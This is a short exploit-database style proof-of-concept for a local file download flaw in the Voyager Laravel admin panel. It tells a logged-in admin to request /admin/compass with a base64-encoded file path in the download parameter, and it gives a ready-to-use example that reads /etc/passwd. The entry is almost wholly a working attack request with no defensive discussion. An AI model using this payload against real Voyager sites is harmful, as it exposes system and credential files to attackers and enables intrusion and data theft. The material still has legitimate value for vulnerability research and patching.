# Exploit Title: Voyager Laravel Authentication Local File Download 
# Description: -
# Date: 21112024
# Exploit Author: Khunerable
# Vendor Homepage: https://voyager.devdojo.com/ | https://github.com/thedevdojo/voyager
# Tested on: Windows 11,Windows NT 10.0

/////////////////////////////////////////////////////////////////////////////////////////

POC :

you need to log-in into admin dashboard to execute
after login, access "/admin/compass"

then access /admin/compass?download=base64encodedirandfile

example :
L2V0Yy9wYXNzd2Q= : /etc/passwd

localhost/admin/compass?download=L2V0Yy9wYXNzd2Q=